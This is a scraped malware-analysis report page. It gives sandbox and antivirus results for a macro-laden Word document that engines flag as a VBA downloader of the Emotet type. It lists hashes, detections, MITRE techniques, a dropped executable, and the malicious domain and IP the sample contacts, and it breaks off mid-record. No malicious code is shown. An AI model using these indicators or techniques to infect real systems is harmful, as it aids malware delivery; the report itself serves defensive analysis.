0L/C+V6ZJL1qbtLax6U3b1GhjaltjSI21GtRia1s1tHGJqVIVxYpiBWTfYdgXkR0EXABlB9lnmH1lmIEZmO2bp+95v/mGGcVCml44ycPMsHzP7znnPecbNmx4VR9VbYMIVWXrACpa+rnKm/tR1tSLUlJDL0oanqK4/glkdT0oYiq8183UhQL2rFDoYDKZ8J8A1vvw+5mkZyZBAHxM+bVdOHkpjUMozeaXQ5xMNELSsZs6riPXZhEZO4XvYkYR8ccY9pwdxK7oHuw68Qjbj7VzffJDA7bsLw8ac/MQgLy7j6CxAhHHYv4dgozruhyrqrjVHlRWnY3rTtUc160SHTbvLVnV3MuUW/2AA0wbvPh4948vh5AAwsoK8YI+9sXr88PtIQlYdglwLvvgcPpWB2AvJICsyo4gwIDcifd3Rq4OQSUPBRD84eYerx8ud7j5gsPDAd6KyAsCFPcshimzvD0EwIHOESve2bb/RQjqNwGcThrHr3FDXNTrimYFN/8wIpmb0xnYe/oJF52BK/nGIIAQAKDHvMOLMbUD6WVtaBuyoKnPhNoePcofaCBrVQYhVgWgVKRDZ2v4xQ5f7Mfbu+LRPaTi34+KeYwPDtxFTNok4vJm8OZXmWEAS6xSAnvTPWZGemkrDkZfw77jsdhz9Dx2HjyFz749jo++juIQQQA67QRAF6GLkrlS5+SvyXTTjqscgCpC5hu37obV5uI/f2NHShgAJe8Zt8Dm9KK4Q4PCdjXy21TIb5IHlcuuEwZAo0annPpNVSAAWbOJp/08eoIDEMi2E0/56+irabDMu3kVngfIbzeiqNOAnFYdrlfIcadejfPZfVhc9sO+JGDeKSC76TkAmnECoH5T/wmALi6ZU7+l0lP6Z9MmmKwu/jsbP40PA4iVTSChWoHUBi0SqmZxp07DARaW/LAxAOuigMxGZTjAN6f6OACNGRnRWErmVHpaRNJ7Sk/mRouLV4sAxIkRASh5YaceeW163KpRIemeCGBnAPMOAXMMIK3hOQA68bRgCGDfmc6gmdZg5b3eeqSPv5fSk7nBsrwCEFg+ZPQy2Zx+WBmAZUFASp0qHIBKTAA0apu+lHGzssYB2BY8XPQ9Mk/IrRXNTS7ojMs4eaMbr2+NFRcP7QtaWLQz2NJacvvhcPlZ7wXeezKfY+Ymu4DEWs2LALRapSVDksypAnTgpLJL5hrDCoCMTvt9FfLYjOc0zyKrUYH0+hmk3ptG8t0pJNZM8tKb7D4YbD4k1GjDAeimIgHQhluPuQTw2nsXeOrQ5M6Q5FLfzSy9wSZAZ/UhvmoVAGkBSaItR3NOotNO/SaRaagIQEqe2SgPT149gb8rx5FQMQYjS6+fF6CZ8yGuQhcOQLdUuqmQaLWSaMPRjJPooEmikpPImLRh82/B1GLPxXm3sXmfc4jJRXMfN1dZfLhcbggHWO2RWd6BZVZSUlW3ARWP9Sh7qENJpxZFHWoUBHqeHUiexpKn8OSTweQ3y8cQX/YM10tGoWWlVzNzhcmLmBLj2gAZ7E7mpGSSXOFysB5TWtJCoN+U2hrsuW8luZWSezHLzGfYnfGczLwOgNL7WHQJ/DAFk7O9XsD2em6Lkq/TzAaWvC48+a2Q5H+x5HHFI7haNCyaG72Y0ntxunBubYC0kja+vShZqGihUFISnXBarZTYsiCOmdEmpqaS856bqew+nnySmY9rPfgtfx0AqcWt/MZBJkWBO5qUPENKXjuFJDbjt6tCkpcGkstGcKVoCLEFQ7iUPxg0f6b24ETu/NoAKbIWnoynCyQ0B+bZxPpLG81oF/hiocS6QGI1k9IsHjYqOX0amtB5MKYRzYdVHvySY1sbILmoWSyp3RcsLYkMDWyeJVOp1HTClUxxsmGe/HLBIE/+Z94AYnL7McrMh5QeDMx68FOWfR0AhU3chBvNe5l8XNo50VAypR4rTWKf5SYxMR20SUrNSj6qEVMPKt3cvE/hQVTGwtoASQVNfHw0c17RkI2RmokMVWY2UkxUZoVxpdSTeg83HqdyM42o3BhmqQeZcb/CjV65Gz3TbhxOX1wbIDG/kfdS0mygr2QoD5p6MB1IOxFIzI0DvR6adaOfqY8ZP50Rzbum3IhMc6wPgMr6oFeBuoczKG2RI6dejuRqNW6wu5mk69VaxFXqEFuhx8UyIy6UmnCu2Mxm3cLGzcpP/M/ZdhxlfT+SsYhIlv5g6joAbuc1IOrMTXzx/e/8U+yWnYfw7vYD/A//L70S/4X/A1vBZ5HJ+mtNAAAAAElFTkSuQmCC1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"97dbf6429c8a30409272c98cb8906656454885de9bc7396b54a0dfd86de0429f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790266941852,"unified_at":"2026-09-24T16:22:21.852Z","metadata":{"hashes":{"sha256":"97dbf6429c8a30409272c98cb8906656454885de9bc7396b54a0dfd86de0429f","sha1":"71cd3820f795b42b9cd3bef387f574fa10ac34a1","md5":"1ce6bf7b27e020fcb32d479495d5d0f8","sha512":"ae61bfc98791c2bc083ab1c8123ccfc1da615a38f3b4d6deb4970d142a4678dcab155f8f7a0460288223b40933e9aec1cdd648591e8f3d1343864c1e1fa1b69d","ssdeep":"3072:TsTXo9V8rbIKgdzSrG2KyIwLx3+f2qxNjpWlsejBa/RG9GH7Edks:TsTXo9V8rbIKUzSZnLx3+f2qxNj6sej/","ssdeep_chunks":["3072:TsTXo9V","3072:sTXo9V8","3072:TXo9V8r","3072:Xo9V8rb","3072:o9V8rbI","3072:9V8rbIK","3072:V8rbIKg","3072:8rbIKgd","3072:rbIKgdz","3072:bIKgdzS","3072:IKgdzSr","3072:KgdzSrG","3072:gdzSrG2","3072:dzSrG2K","3072:zSrG2Ky","3072:SrG2KyI","3072:rG2KyIw","3072:G2KyIwL","3072:2KyIwLx","3072:KyIwLx3","3072:yIwLx3+","3072:IwLx3+f","3072:wLx3+f2","3072:Lx3+f2q","3072:x3+f2qx","3072:3+f2qxN","3072:+f2qxNj","3072:f2qxNjp","3072:2qxNjpW","3072:qxNjpWl","3072:xNjpWls","3072:NjpWlse","3072:jpWlsej","3072:pWlsejB","3072:WlsejBa","3072:lsejBa/","3072:sejBa/R","3072:ejBa/RG","3072:jBa/RG9","3072:Ba/RG9G","3072:a/RG9GH","3072:/RG9GH7","3072:RG9GH7E","3072:G9GH7Ed","3072:9GH7Edk","3072:GH7Edks","6144:TsTXo9V","6144:sTXo9V8","6144:TXo9V8r","6144:Xo9V8rb","6144:o9V8rbI","6144:9V8rbIK","6144:V8rbIKg","6144:8rbIKgd","6144:rbIKgdz","6144:bIKgdzS","6144:IKgdzSr","6144:KgdzSrG","6144:gdzSrG2","6144:dzSrG2K","6144:zSrG2Ky","6144:SrG2KyI","6144:rG2KyIw","6144:G2KyIwL","6144:2KyIwLx","6144:KyIwLx3","6144:yIwLx3+","6144:IwLx3+f","6144:wLx3+f2","6144:Lx3+f2q","6144:x3+f2qx","6144:3+f2qxN","6144:+f2qxNj","6144:f2qxNjp","6144:2qxNjpW","6144:qxNjpWl","6144:xNjpWls","6144:NjpWlse","6144:jpWlsej","6144:pWlsejB","6144:WlsejBa","6144:lsejBa/","6144:sejBa/R","6144:ejBa/RG","6144:jBa/RG9","6144:Ba/RG9G","6144:a/RG9GH","6144:/RG9GH7","6144:RG9GH7E","6144:G9GH7Ed","6144:9GH7Edk","6144:GH7Edks","3072:V8rbIKU","3072:8rbIKUz","3072:rbIKUzS","3072:bIKUzSZ","3072:IKUzSZn","3072:KUzSZnL","3072:UzSZnLx","3072:zSZnLx3","3072:SZnLx3+","3072:ZnLx3+f","3072:nLx3+f2","3072:f2qxNj6","3072:2qxNj6s","3072:qxNj6se","3072:xNj6sej","3072:Nj6sej/"],"imphash":"Unknown"},"file_info":{"file_name":"RE_583658295301_1004.doc","file_type":["doc","office"],"file_type_id":"doc","file_size":190976,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1570222293000,"last_seen":1676858833000,"last_multi_scan":1676858833000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["batdow","donoff","empiremonkeydocument","expiro","genscript","tiggre","macros-on-open"]},"stats":{"av":{"malicious_count":18,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":11},"sandbox_signatures":{"informative_count":25,"suspicious_count":19,"malicious_count":9,"total":53},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"VBA/Downloader.S55","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Downloader]/MSOffice.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"W97M/Agent.7130077","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Agent.EEUX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"msoffice/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cyren":{"name":"Cyren","success":true,"verdict":"malicious","threat_name":"W97M/Downldr.DI.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"VB:Trojan.Agent.EEUX (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"VBA/TrojanDownloader.Agent.PSW trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"kaspersky":{"name":"Kaspersky","success":true,"verdict":"malicious","threat_name":"HEUR:Trojan.Script.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"W97M/Downloader.daz","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"microsoftdefender":{"name":"Microsoft Defender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Script.Downloader.gggdnq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DocDl-UVY","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicro":{"name":"Trend Micro","success":true,"verdict":"malicious","threat_name":"Trojan.9FDEFC33","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trendmicrohousecall":{"name":"Trend Micro HouseCall","success":true,"verdict":"malicious","threat_name":"Trojan.9FDEFC33","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"W97M.Downloader.BTF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanDownloader.O97M.Emotet.GF","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.9FDEFC33","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","identifiers":[{"type":"suspicious","value":"Contains ability to open/control a service"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"informative","value":"Hooks API calls"},{"type":"informative","value":"Installs hooks/patches the running process"},{"type":"informative","value":"Loads rich edit control libraries"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1137","identifiers":[{"type":"malicious","value":"Contains embedded VBA macros with keywords that indicate auto-execute behavior"},{"type":"informative","value":"Contains embedded VBA macros (normalized)"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"suspicious","value":"Contains ability to enumerate processes/modules/threads"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Persistence","technique":"New Service","attack_id":"T1050","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1050","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"suspicious","value":"Allocates virtual memory in a remote process"},{"type":"informative","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Removes Office resiliency keys (often used to avoid problems opening documents)"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to query CPU information"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1120","identifiers":[{"type":"suspicious","value":"Contains ability to enumerate services"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1114","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]}],"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"RtlGetVersion@NTDLL.DLL at 00025998-00003536-22420-148-00402398\n RtlGetVersion@NTDLL.DLL at 00026222-00003372-25813-148-00402398\n RtlGetVersion@NTDLL.DLL at 00026760-00003396-30817-148-00402398\n RtlGetVersion@NTDLL.DLL at 00026973-00002400-33929-148-00402398","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"$25","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"www.eteensblog.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"146.82.206.253:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"powershell.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$26","origin":"Static Parser","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"Normalized macro string: \"http\"\n Normalized macro string: \"HTTP\"","origin":"File/Memory","mitre_attack_id":"T1137","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\~DF6CF2E1016DFBD351.TMP\"\n \"WINWORD.EXE\" created file \"%TEMP%\\Word8.0\\MSForms.exd\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-62922\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Local\\x64_10MU_ACB10_S-1-5-5-0-62922\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-62922\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-62922\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"~__583658295301_1004.doc\" as clean (type is \"data\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at F4960000","origin":"Loaded Module","mitre_attack_id":"T1179","id":"module-2","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v2.0.50727_64\\mscorlib\\0478aed7fc25ae268474c704fd2a3e0f\\mscorlib.ni.dll\" at E13F0000","origin":"Loaded Module","id":"module-3","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$27","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Removes Office resiliency keys (often used to avoid problems opening documents)","description":"\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"T+4\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"H-4\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"J*4\")\n \"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-68","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"mspim_wnd32\"\n \"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"\n \"WINWORD.EXE\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$28","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"Installation/Persistance","name":"Contains ability to lookup the windows account name","description":"GetUserNameA@ADVAPI32.dll at 40528-1-004012E0","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"$29","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"Installation/Persistance","name":"Drops executable files","description":"\"897.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"Installation/Persistance","name":"Found a string that may be used as part of an injection method","description":"\"Shell_TrayWnd\" (Taskbar window class may be used to inject into explorer with the SetWindowLong method)","origin":"File/Memory","mitre_attack_id":"T1055","relevance":4,"id":"string-4","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2a","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2b","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found a reference to a known community page","description":"$2c","origin":"File/Memory","relevance":7,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"System Security","name":"Hooks API calls","description":"\"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"\n \"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\n \"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-0","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"informative","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2d","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Contains ability to open/control a service","description":"OpenServiceW@ADVAPI32.DLL at 00026222-00003372-25813-8-0040C57E\n OpenServiceW@ADVAPI32.DLL at 00026222-00003372-25813-10-0040C2E2\n OpenServiceW@ADVAPI32.DLL at 00026222-00003372-25813-12-0040C4AE\n OpenServiceW@ADVAPI32.DLL at 00026973-00002400-33929-8-0040C57E\n OpenServiceW@ADVAPI32.DLL at 00026973-00002400-33929-10-0040C2E2\n OpenServiceW@ADVAPI32.DLL at 00026973-00002400-33929-12-0040C4AE","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1035","relevance":8,"id":"stream-14","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Possibly tries to hide a process launching it with different user credentials","description":"CreateProcessAsUserW@ADVAPI32.DLL at 00026222-00003372-25813-56-00401D2B\n CreateProcessAsUserW@ADVAPI32.DLL at 00026973-00002400-33929-56-00401D2B","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-42","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights\n \"897.exe\" is protecting 48760 bytes with PAGE_GUARD access rights\n \"897.exe\" is protecting 2862 bytes with PAGE_GUARD access rights\n \"897.exe\" is protecting 15072 bytes with PAGE_GUARD access rights\n \"897.exe\" is protecting 4 bytes with PAGE_GUARD access rights\n \"897.exe\" is protecting 1012 bytes with PAGE_GUARD access rights\n \"capprep.exe\" is protecting 48760 bytes with PAGE_GUARD access rights\n \"capprep.exe\" is protecting 2862 bytes with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to enumerate services","description":"EnumServicesStatusExW@ADVAPI32.DLL at 00026222-00003372-25813-10-0040C2E2\n EnumServicesStatusExW@ADVAPI32.DLL at 00026973-00002400-33929-10-0040C2E2","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1120","relevance":7,"id":"stream-27","sources":[{"report_type":"sandbox","report_id":"5d97b0d4028838be51980104"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 